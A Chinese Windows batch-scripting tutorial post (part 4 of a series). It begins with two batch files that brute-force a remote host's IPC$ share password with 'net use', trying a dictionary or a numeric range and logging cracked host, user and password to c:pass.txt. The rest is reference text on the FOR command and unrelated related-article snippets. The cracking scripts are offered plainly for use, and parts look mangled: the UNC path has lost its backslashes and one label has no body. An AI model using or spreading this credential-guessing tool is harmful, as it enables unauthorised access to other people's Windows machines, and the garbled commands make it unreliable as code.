Windows批处理功能配合脚本还是很强大的!(4):
http://blog.chinaunix.net/article.php?articleId=60686&blogId=11648
Windows批处理功能配合脚本还是很强大的!(4)
这个是最后一章了~ 基本上学会这些就很不错了~
A ZA A ZA Fighting !!!!!
将下列代码存为bat文件
1、如果用字典破解:pass.bat 字典文件路径及名称 主机 用户名
2、如果用数字破解:pass.bat 起始数 步长 结束数 主机 用户名
密码破解出来之后,存放于c:pass.txt文件里面。
将下列代码存为pass.bat文件
@echo off
echo ------------------------------------------------------------------- >>c:pass.txt
echo ------------------------------------------------------------------- >>c:pass.txt
date /t >>c:pass.txt
time /t >>c:pass.txt
echo 破解结果: >>c:pass.txt
if "%6"=="1" goto 大棒槌是我的说2
:大棒槌是我的说1
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的说2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
将下列代码存为test.bat
net use /%1ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命令执行返回结果,net use成功返回0,失败返回2
:answer0
echo 远程主机:"%1" >>c:pass.txt
echo 用 户:"%3" >>c:pass.txt
echo 密 码:%2 >>c:pass.txt
net use /%1ipc$ /delet
exit
:answer2
For
对一组文件中的每个文件运行指定的命令。
可以在批处理程序中或直接从命令提示符使用 for 命令。
要在批处理程序中使用 for 命令,请使用以下语法:
for %%variable in (set) docommand [command-parameters]
要在命令提示符下使用 for,请使用以下语法:
for %variable in (set) do command [command-parameters]
参数
%%variable 或 %variable
代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。
(set)
指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。
command
指定要在指定的 set 所包含的每个文件上执行的命令。
command-parameters
指定要用于指定命令(如果指定的命令要使用任何参数或开关)的任何参数或开关。
如果启用了命令扩展(Windows 2000 中的默认设置),将支持 for 命令的其他形式。
For 命令的其他形式
如果启用了命令扩展,将支持如下 for 命令的其他格式:
只限于目录
for /D [%% | %]variable in (set) docommand [command-parameters]
如果 set 包含通配符(* 和 ?),则指定与目录名匹配,而不是文件名。
递归
for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]
进入根目录树[drive:]path,在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录,则假定为当前目录。如果 set 只是一个句号 (.) 字符,则只列举目录树。
迭代
for /L [%% | %]variable in (start,step,end) do command [command-parameters]
集合是一系列按步长量划分的、从头到尾的数字。这样,(1,1,5) 将生成序列 1 2 3 4 5,而 (5,-1,1) 将生成序列 (5 4 3 2 1)。
文件解析
for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters]
for /F ["options"] [%% | %]variable in ('command') do command [command-parameters]
或者,如果出现 usebackq 选项:
for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ('literal string') do command [command-parameters]
for /F ["options"] [%% | %]variable in (`command`) docommand [command-parameters]
filenameset 参数指定一个或多个文件名称。在继续到 filenameset 中的下一个文件之前,每个文件都会被打开、读取和处理。
过程由读取文件、分成独立的文本行及然后将每行解析成零个或更多个令牌组成。然后使用设置为找到的一个或多个令牌字符串的变量值(或多个值)集合调用 for 循环体。默认情况下,/F 传递每个文件每一行的第一个空白分隔符号。
跳过空行。通过指定可选的“options”参数可以覆盖默认的解析行为。这是一个引用字符串,它包含一个或多个关键字以指定不同的解析选项。关键字是:
关键字 说明
eol=c 指定行尾注释字符(只一个字符)
skip=n 指定在文件的开头跳过的行数。
delims=xxx 指定定界符集合。这将替换空格和制表符的默认分隔符集。
tokens=x,y,m-n 指定将令牌从每行传递到每个反复的正文。这将导致分配其他变量名。m-n 格式是一个范围,指定从 mth 到 nth 的令牌。如果在令牌 = 字符串中最后一个字符是星号,则将分配附加的变量,并在解析最后一个令牌后在行上接收剩余的文本。
usebackq 指定将右引号字符串作为命令执行,单引号字符串是文字字符串命令,您可以使用双引号包括 filenameset 中的文件名。
变量替换
此外,已经增强了 for 变量引用的替换修改程序。现在可以使用下列可选的语法(对于任何变量 I):
变量(使用修改程序) 说明
%~I 展开删除了周围的任何引号 (") 的 %I
%~fI 将 %I 展开到完全合格的路径名
%~dI 只将 %I 展开到驱动器号
%~pI 只将 %I 展开到路径
%~nI 只将 %I 展开到文件名
%~xI 只将 %I 展开到文件扩展名
%~sI 展开路径以只包含短名称
%~aI 将 %I 展开到文件的文件属性
%~tI 将 %I 展开到文件的日期/时间
%~zI 将 %I 展开到文件大小
%~$PATH:I 搜索 PATH 环境变量所列出的目录,并将 %I 展开开到第一个找到结果的全部合格名称。如果没有定义环境变量名,或搜索后没有找到文件,则此修改程序将扩展为空字符串。
修改程序可以合并以获得复杂的结果:
变量(使用合并的修改程序) 说明
%~dpI 只将 %I 展开到驱动器号和路径
%~nxI 只将 %I 展开到文件名和扩展名
%~fsI 将 %I 展开到只包含短名称的完整路径名
%~dp$PATH:I 在 PATH 环境变量所列出的目录中搜索 %I,并展开到第一个找到结果的驱动器号和路径
%~ftzaI 将 %I 扩展到与 dir 相似的输出行
注意
在上述范例中,%I 和 PATH 可被其他有效值替换。通过有效的 for 变量名终止 %~ 语法。
使用大写变量名(例如 %I)可以使代码更具可读性,并且避免与不区分大小写的修改程序混淆
分享到:
相关推荐
Windows批处理是Windows操作系统中的一种自动化工具,它允许用户通过编写简单的命令脚本来执行一系列的操作,从而极大地提高了工作效率。在“Windows批处理之介绍1-18(全)”这个系列中,我们将会全面探讨批处理的...
在Windows 10操作系统中,批处理(Batch)是一种简单而强大的工具,它允许用户通过编写脚本来自动化一系列命令执行。在这个场景中,"win10批处理自动关机、定时关机_win10_脚本_批处理_定时关机_自动关机_" 提供了三...
批处理脚本,又称批处理命令,是Windows操作系统中的一种简单但强大的自动化工具。它允许用户预先编写一系列的命令,然后一次性执行这些命令,极大地提高了工作效率。本教程“批处理脚本知识rar”是一个专为新手和...
BAT批处理脚本是Windows操作系统中一种非常实用的自动化工具,它通过编写一系列命令行指令,可以实现批量执行任务,极大地提高了工作效率。本压缩包文件主要聚焦于文件相关的操作,特别是如何利用BAT脚本来实现文件...
VBS是一种强大的脚本语言,可以访问Windows API,提供比批处理更灵活的文本处理能力。例如,它可以用`OpenTextFile`、`ReadLine`、`WriteLine`和`Close`等方法来读取、修改和写入文件,实现精确的文本替换。 在实际...
例如,检测计算机是否感染特定病毒(如冰河病毒),可以通过批处理脚本配合病毒特征码或扫描工具进行检查,提供自动化检测和处理的能力。 学习批处理,基础的DOS命令知识是必不可少的,同时灵活的思维也非常重要。...
BAT批处理脚本是Windows操作系统中一种非常实用的自动化工具,它通过编写一系列命令行指令,可以实现批量执行任务,极大地提高了工作效率。"读心术P处理版"可能是指这个批处理脚本具有某种特定的功能或者特性,可能...
在“BAT批处理脚本-病毒专杀工具包.zip”这个压缩包中,我们重点关注的是“病毒专杀工具包.bat”这个文件,它很可能是一个专门设计用来检测和清除计算机病毒的批处理程序。 批处理脚本的核心在于它的可编程性,通过...
对于有经验的用户,可以通过批处理脚本配合PowerShell命令,甚至利用WScript或VBS脚本,实现更强大的功能。例如,通过批处理进行系统监控、网络通信、文件系统操作等复杂任务。 **6. 学习资源与实践建议** 学习...
本文将详细解析"BAT批处理脚本-进度条解析.zip"中的核心知识点,帮助读者理解如何利用批处理脚本来实现进度条功能。 首先,批处理脚本(BAT)是基于DOS或Windows操作系统的一种命令行脚本语言,主要用于自动化执行...
总之,批处理脚本是Windows系统中的一个强大工具,通过编写简单的脚本,可以实现日常任务的自动化,减少重复劳动。这个"取字符长度.bat"脚本就是一个很好的例子,它展示了如何利用批处理命令解决实际问题,值得学习...
批处理是一种在Windows操作系统中使用的命令行脚本技术,它允许用户通过一组预先定义的命令序列来自动化执行任务。在“批处理检测网络连接”这个主题中,我们主要关注的是如何利用批处理脚本来实现对网络连接的快速...
批处理文件,也称为批处理脚本,是Windows操作系统中的一种简单编程方式,它通过一系列命令行指令的组合,实现自动化执行任务。这种技术对于系统维护、日常操作优化以及问题解决有着广泛的应用。下面,我们将深入...
批处理脚本是一种在Windows操作系统中执行一系列命令的文本文件,通常使用".bat"或".cmd"作为扩展名。在给定的“BAT批处理脚本-锁定任务管理器.zip”压缩包中,包含了一个名为“锁定任务管理器.bat”的文件,这个...
VBScript在Windows脚本中扮演着重要角色,尤其在创建Windows批处理文件和ActiveX文档(如HTML页面)中嵌入脚本时。通过VBScript,你可以控制文件操作、注册表访问、系统进程管理等。 JScript则是Microsoft对...
而在更复杂的项目中,批处理脚本还可以与PowerShell或者其他自动化工具结合,实现更强大的功能。 总的来说,"BAT批处理脚本-提示窗口进度条-变色+翻滚字符.zip"提供的内容旨在帮助用户学习如何创建有视觉反馈的...
本话题将详细探讨如何在Oracle存储过程中调用外部的批处理脚本,如Windows系统的BAT文件,以实现数据库操作与系统命令的集成。 首先,`Oracle存储过程`是一种预编译的SQL和PL/SQL代码集合,可以被多次调用以执行...
在"BAT批处理脚本-系统设置查询修改硬件相关-取消磁盘的自动扫描.zip"这个压缩包中,我们主要关注的是如何利用批处理脚本来管理Windows的磁盘扫描功能。 磁盘的自动扫描通常在每次开机或者系统检测到硬盘错误时启动...
总的来说,批处理脚本是Windows系统中一种强大的自动化工具,尤其适合需要批量处理文件、执行日常维护任务或者简化复杂操作的场景。通过学习和熟练掌握批处理脚本,我们可以大大提高工作效率,减少重复劳动。"确认...
批处理脚本是基于DOS或Windows系统的一种自动化工具,它通过一系列命令的组合,实现对计算机操作的自动化处理。在标题提到的"BAT批处理脚本"中,".bat"是指批处理文件的扩展名,这种文件可以直接由操作系统执行,...